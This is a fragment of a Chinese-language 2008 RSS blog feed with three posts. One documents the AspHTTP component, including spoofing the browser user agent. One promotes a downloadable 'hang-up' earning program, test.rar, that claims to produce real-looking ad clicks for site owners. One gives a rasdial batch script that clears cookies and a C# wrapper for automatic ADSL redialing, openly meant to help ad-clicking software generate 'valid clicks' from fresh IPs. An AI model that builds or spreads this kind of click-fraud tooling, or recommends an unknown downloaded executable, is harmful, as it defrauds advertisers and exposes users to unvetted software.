RegisteredUser属性指示组件授权用户的名字<br />
例如:<br />
Response.Write &#8220;This component is licensed to &#8221; &amp; HttpObj.RegisteredUser</p>
<p>Response<br />
Response属性包含在收到web服务器过来的请求之后的http response回应</p>
<p>SaveFileTo<br />
SaveFileTo允许你得到任何类型的文件，自动存到本地盘上。图形/文本/HTML文件均可以。<br />
例如:<br />
HttpObj.SaveFileTo = &#8220;c:\images\3rdqrtr.jpg&#8221;</p>
<p>TimeOut<br />
timeout属性决定组件等待http server响应的时间<br />
例如:<br />
HttpObj.TimeOut = 45</p>
<p>URL<br />
URL属性设定你希望request请求所***作的url，以http://开头<br />
例如:<br />
HttpObj.URL = &#8220;<a href="http://www.myfinancial.com/scripts/update3.asp">http://www.myfinancial.com/scripts/update3.asp</a>&#8221;</p>
<p>UserAgent<br />
UserAgent让组件通过发送一个request的UserAgent头伪装浏览器<br />
例如:<br />
HttpObj.UserAgent = &#8220;Mozilla Compatible (MS IE 3.01 WinNT)&#8221;</p>
<p>Version<br />
指示AspHTTP组件的版本<br />
例如:<br />
Response.Write &#8220;The component version is &#8221; &amp; HttpObj.Version</p>
<p>AspHTTP组件的方法</p>
<p>方法 参数 返回值 描述<br />
GetURL 无 String 返回http请求的响应，这是一个字符串，组件不支持2进制返回值，如Gif/Jpg图像<br />
AddExtraHeader String 无 在请求内增加一个自定义的http头，自定义头可以包括模拟的浏览器头，例如IE的分辨率信息头<br />
ClearExtraHeaders 无 无 清除所有AddExtraHeader设置的http头<br />
GetHeader String String 在GetUrl调用之后，获得自定头的值，如果有多个头，返回第一个。要检索所有的头，请看GetHeaders<br />
Example:<br />
strCookie = HttpObj.GetHeader(&#8221;Set-Cookie&#8221;)<br />
You could then on subsequent calls return the same cookie as follows:<br />
if strCookie &lt;&gt; &#8220;&#8221; then<br />
HttpObj.AddExtraHeader &#8220;Cookie: &#8221; &amp; strCookie<br />
end if<br />
GetHREFs 无 Variant 字符串数组，在调用GetUrl之后，你可以调用GetHREFs处理html里面的&lt;a href=&#8221;"&gt; Tags.<br />
GetHREFs返回一个你可以进一步处理或显示的字符串的可变数组<br />
请见HREFList.asp（下载包内有）使用这个方法的示例代码，GetHREFs是在aspHTTP版本2.4增加的。<br />
URLDecode strValue String 解码一个URL编码的字符串<br />
URLEncode strValue String 将一个字符串编码成一个合法的url值<br />
Example:<br />
HttpObj.URL = HttpObj.URLEncode(&#8221;<a href="http://www.test_xyz.com/?avalue=this">http://www.test_xyz.com?avalue=this</a> is a value with spaces&#8221;)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=410</wfw:commentRss>
		</item>
		<item>
		<title>挂机网赚 日入8元</title>
		<link>http://www.yule4.com/?p=405</link>
		<comments>http://www.yule4.com/?p=405#comments</comments>
		<pubDate>Sat, 18 Oct 2008 02:14:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[网赚]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=405</guid>
		<description><![CDATA[
支付宝日结算的挂机项目:一天8-10元,换IP的10元一天
不换IP8元左右 
如果你是站长，更加要下载这个，用这个软件就不用为没人点击你的广告而发愁了，主要的好处是这个软件带来的都是真实的鼠标点击流量
请下载挂机软件
 下载地址:test.rar
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.yule4.com/wp-content/uploads/2008/10/gua.jpg" title="gua.jpg"><img src="http://www.yule4.com/wp-content/uploads/2008/10/gua.jpg" alt="gua.jpg" /></a></p>
<p>支付宝日结算的挂机项目:一天8-10元,换IP的10元一天<br />
不换IP8元左右 </p>
<p>如果你是站长，更加要<span href="tag.php?name=%CF%C2%D4%D8" onclick="tagshow(event)" class="t_tag">下载</span>这个，用这个软件就不用为没人点击你的<span href="tag.php?name=%B9%E3%B8%E6" onclick="tagshow(event)" class="t_tag">广告</span>而发愁了，主要的好处是这个软件带来的都是真实的鼠标点击<span href="tag.php?name=%C1%F7%C1%BF" onclick="tagshow(event)" class="t_tag">流量</span></p>
<p><strong>请下载挂机软件</strong></p>
<p> 下载地址:<a href="http://www.yule4.com/wp-content/uploads/2008/10/test.rar" title="test.rar">test.rar</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=405</wfw:commentRss>
		</item>
		<item>
		<title>实现ADSL自动拨号</title>
		<link>http://www.yule4.com/?p=404</link>
		<comments>http://www.yule4.com/?p=404#comments</comments>
		<pubDate>Thu, 16 Oct 2008 07:02:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[技术杂文]]></category>

		<guid isPermaLink="false">http://www.yule4.com/?p=404</guid>
		<description><![CDATA[ 在网络编程中,有时候会需要重新拨号建立网络连接(如Ad点击软件通过重新拨号形成有效点击) ,下面介绍两种程序中拨号的方法.
1、最简单的方法：使用RasDial命令
    RasDial是Windows自带的命令，使用非常简单。实际使用是可将下面代码保存为一个批处理文件，然后直接运行或在程序里进行调用。




rasdial.exe  /disconnect &#8216;断开连接
del &#8220;C:\Documents and Settings\hyuqin\Cookies\*.*&#8221; /Q  &#8216;清除Cookie
rasdial.exe  连接名 连接账户 连接密码 &#8216;重新拨号
2、封装为类，灵活调用
    上面提到的方法虽然很简单，但并非标准的实现方法，使用时会受到一些限制，此时最好的办法就是将实现代码封装为类库。下面这个类库是网上一位朋友提供的,直接调用就行.
using System;
using System.Runtime.InteropServices;
public struct RASCONN
{
    public int dwSize;
    public IntPtr hrasconn;
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
    public string szEntryName;
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 17)]
    public string szDeviceType;
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
    public string szDeviceName;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct RasStats
{
    public int dwSize;
    public [...]]]></description>
			<content:encoded><![CDATA[<p> 在网络编程中,有时候会需要重新拨号建立网络连接(如Ad点击软件通过重新拨号形成有效点击) ,下面介绍两种程序中拨号的方法.</p>
<p>1、最简单的方法：使用RasDial命令<br />
    RasDial是Windows自带的命令，使用非常简单。实际使用是可将下面代码保存为一个批处理文件，然后直接运行或在程序里进行调用。</p>
<p><span id="more-404"></span><script type="text/javascript"><!--
google_ad_client = "pub-8803527935376436";
/* 468x60, 创建于 08-3-31 */
google_ad_slot = "7759335048";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
rasdial.exe  /disconnect &#8216;断开连接<br />
del &#8220;C:\Documents and Settings\hyuqin\Cookies\*.*&#8221; /Q  &#8216;清除Cookie<br />
rasdial.exe  连接名 连接账户 连接密码 &#8216;重新拨号</p>
<p>2、封装为类，灵活调用<br />
    上面提到的方法虽然很简单，但并非标准的实现方法，使用时会受到一些限制，此时最好的办法就是将实现代码封装为类库。下面这个类库是网上一位朋友提供的,直接调用就行.</p>
<p>using System;<br />
using System.Runtime.InteropServices;</p>
<p>public struct RASCONN<br />
{<br />
    public int dwSize;<br />
    public IntPtr hrasconn;<br />
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]<br />
    public string szEntryName;<br />
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 17)]<br />
    public string szDeviceType;<br />
    [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]<br />
    public string szDeviceName;<br />
}</p>
<p>[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]<br />
public struct RasStats<br />
{<br />
    public int dwSize;<br />
    public int dwBytesXmited;<br />
    public int dwBytesRcved;<br />
    public int dwFramesXmited;<br />
    public int dwFramesRcved;<br />
    public int dwCrcErr;<br />
    public int dwTimeoutErr;<br />
    public int dwAlignmentErr;<br />
    public int dwHardwareOverrunErr;<br />
    public int dwFramingErr;<br />
    public int dwBufferOverrunErr;<br />
    public int dwCompressionRatioIn;<br />
    public int dwCompressionRatioOut;<br />
    public int dwBps;<br />
    public int dwConnectionDuration;<br />
}</p>
<p>[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]<br />
public struct RasEntryName<br />
{<br />
    public int dwSize;<br />
    //[MarshalAs(UnmanagedType.ByValTStr,SizeConst=(int)RasFieldSizeConstants.RAS_MaxEntryName + 1)]<br />
    public string szEntryName;<br />
    //#if WINVER5<br />
    //  public int dwFlags;<br />
    //  [MarshalAs(UnmanagedType.ByValTStr,SizeConst=260+1)]<br />
    //  public string szPhonebookPath;<br />
    //#endif<br />
}<br />
public class RAS<br />
{<br />
    [DllImport(&#8221;Rasapi32.dll&#8221;, EntryPoint = &#8220;RasEnumConnectionsA&#8221;,<br />
         SetLastError = true)]</p>
<p>    internal static extern int RasEnumConnections<br />
        (<br />
        ref RASCONN lprasconn, // buffer to receive connections data<br />
        ref int lpcb, // size in bytes of buffer<br />
        ref int lpcConnections // number of connections written to buffer<br />
        );<br />
    [DllImport(&#8221;rasapi32.dll&#8221;, CharSet = CharSet.Auto)]<br />
    internal static extern uint RasGetConnectionStatistics(<br />
        IntPtr hRasConn,       // handle to the connection<br />
        [In, Out]RasStats lpStatistics  // buffer to receive statistics<br />
        );<br />
    [DllImport(&#8221;rasapi32.dll&#8221;, CharSet = CharSet.Auto)]<br />
    public extern static uint RasHangUp(<br />
        IntPtr hrasconn  // handle to the RAS connection to hang up<br />
        );</p>
<p>    [DllImport(&#8221;rasapi32.dll&#8221;, CharSet = CharSet.Auto)]<br />
    public extern static uint RasEnumEntries(<br />
        string reserved,              // reserved, must be NULL<br />
        string lpszPhonebook,         // pointer to full path and<br />
        //  file name of phone-book file<br />
        [In, Out]RasEntryName[] lprasentryname, // buffer to receive<br />
        //  phone-book entries<br />
        ref int lpcb,                  // size in bytes of buffer<br />
        out int lpcEntries             // number of entries written<br />
        //  to buffer<br />
        );</p>
<p>    [DllImport(&#8221;wininet.dll&#8221;, CharSet = CharSet.Auto)]<br />
    public extern static int InternetDial(<br />
        IntPtr hwnd,<br />
        [In]string lpszConnectoid,<br />
        uint dwFlags,<br />
        ref int lpdwConnection,<br />
        uint dwReserved<br />
        );</p>
<p>    public RAS()<br />
    {<br />
    }<br />
}<br />
public enum DEL_CACHE_TYPE //要删除的类型。<br />
{<br />
    File,//表示internet临时文件<br />
    Cookie //表示Cookie<br />
}</p>
<p>public class RASDisplay<br />
{<br />
    [DllImport(&#8221;wininet.dll&#8221;, CharSet = CharSet.Auto)]<br />
    public static extern bool DeleteUrlCacheEntry(<br />
        DEL_CACHE_TYPE type<br />
        );<br />
    private string m_duration;<br />
    private string m_ConnectionName;<br />
    private string[] m_ConnectionNames;<br />
    private double m_TX;<br />
    private double m_RX;<br />
    private bool m_connected;<br />
    private IntPtr m_ConnectedRasHandle;</p>
<p>    RasStats status = new RasStats();<br />
    public RASDisplay()<br />
    {<br />
        m_connected = true;</p>
<p>        RAS lpras = new RAS();<br />
        RASCONN lprasConn = new RASCONN();</p>
<p>        lprasConn.dwSize = Marshal.SizeOf(typeof(RASCONN));<br />
        lprasConn.hrasconn = IntPtr.Zero;</p>
<p>        int lpcb = 0;<br />
        int lpcConnections = 0;<br />
        int nRet = 0;<br />
        lpcb = Marshal.SizeOf(typeof(RASCONN));</p>
<p>        nRet = RAS.RasEnumConnections(ref lprasConn, ref lpcb, ref<br />
            lpcConnections);</p>
<p>        if (nRet != 0)<br />
        {<br />
            m_connected = false;<br />
            return;</p>
<p>        }</p>
<p>        if (lpcConnections &gt; 0)<br />
        {<br />
            //for (int i = 0; i &lt; lpcConnections; i++)</p>
<p>            //{<br />
            RasStats stats = new RasStats();</p>
<p>            m_ConnectedRasHandle = lprasConn.hrasconn;<br />
            RAS.RasGetConnectionStatistics(lprasConn.hrasconn, stats);<br />
            m_ConnectionName = lprasConn.szEntryName;</p>
<p>            int Hours = 0;<br />
            int Minutes = 0;<br />
            int Seconds = 0;</p>
<p>            Hours = ((stats.dwConnectionDuration / 1000) / 3600);<br />
            Minutes = ((stats.dwConnectionDuration / 1000) / 60) - (Hours * 60);<br />
            Seconds = ((stats.dwConnectionDuration / 1000)) - (Minutes * 60) - (Hours * 3600);<br />
            m_duration = Hours + &#8221; hours &#8221; + Minutes + &#8221; minutes &#8221; + Seconds + &#8221; secs&#8221;;<br />
            m_TX = stats.dwBytesXmited;<br />
            m_RX = stats.dwBytesRcved;<br />
            //}<br />
        }<br />
        else<br />
        {<br />
            m_connected = false;<br />
        }<br />
        int lpNames = 1;<br />
        int entryNameSize = 0;<br />
        int lpSize = 0;<br />
        RasEntryName[] names = null;</p>
<p>        entryNameSize = Marshal.SizeOf(typeof(RasEntryName));<br />
        lpSize = lpNames * entryNameSize;</p>
<p>        names = new RasEntryName[lpNames];<br />
        names[0].dwSize = entryNameSize;</p>
<p>        uint retval = RAS.RasEnumEntries(null, null, names, ref lpSize, out lpNames);</p>
<p>        //if we have more than one connection, we need to do it again<br />
        if (lpNames &gt; 1)<br />
        {<br />
            names = new RasEntryName[lpNames];<br />
            for (int i = 0; i &lt; names.Length; i++)<br />
            {<br />
                names[i].dwSize = entryNameSize;<br />
            }</p>
<p>            retval = RAS.RasEnumEntries(null, null, names, ref lpSize, out lpNames);</p>
<p>        }<br />
        m_ConnectionNames = new string[names.Length];<br />
        if (lpNames &gt; 0)<br />
        {<br />
            for (int i = 0; i &lt; names.Length; i++)<br />
            {<br />
                m_ConnectionNames[i] = names[i].szEntryName;<br />
            }<br />
        }<br />
    }</p>
<p>    public string Duration<br />
    {<br />
        get<br />
        {<br />
            return m_connected ? m_duration : &#8220;&#8221;;<br />
        }<br />
    }</p>
<p>    public string[] Connections<br />
    {<br />
        get<br />
        {<br />
            return m_ConnectionNames;<br />
        }<br />
    }</p>
<p>    public double BytesTransmitted<br />
    {<br />
        get<br />
        {<br />
            return m_connected ? m_TX : 0;<br />
        }<br />
    }<br />
    public double BytesReceived<br />
    {<br />
        get<br />
        {<br />
            return m_connected ? m_RX : 0;</p>
<p>        }<br />
    }<br />
    public string ConnectionName<br />
    {<br />
        get<br />
        {<br />
            return m_connected ? m_ConnectionName : &#8220;&#8221;;<br />
        }<br />
    }<br />
    public bool IsConnected<br />
    {<br />
        get<br />
        {<br />
            return m_connected;<br />
        }<br />
    }</p>
<p>    public int Connect(string Connection)<br />
    {<br />
        int temp = 0;<br />
        uint INTERNET_AUTO_DIAL_UNATTENDED = 2;<br />
        int retVal = RAS.InternetDial(IntPtr.Zero, Connection, INTERNET_AUTO_DIAL_UNATTENDED, ref temp, 0);<br />
        return retVal;<br />
    }<br />
    public void Disconnect()<br />
    {<br />
        RAS.RasHangUp(m_ConnectedRasHandle);<br />
    }<br />
}</p>
<p>调用方法:<br />
RASDisplay ras = new RASDisplay();<br />
ras.Disconnect();//断开连接<br />
ras.Connect(&#8221;ADSL&#8221;);//重新拨号</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yule4.com/?feed=rss2&amp;p=404</wfw:commentRss>
		</item>
	</channel>
</rss>
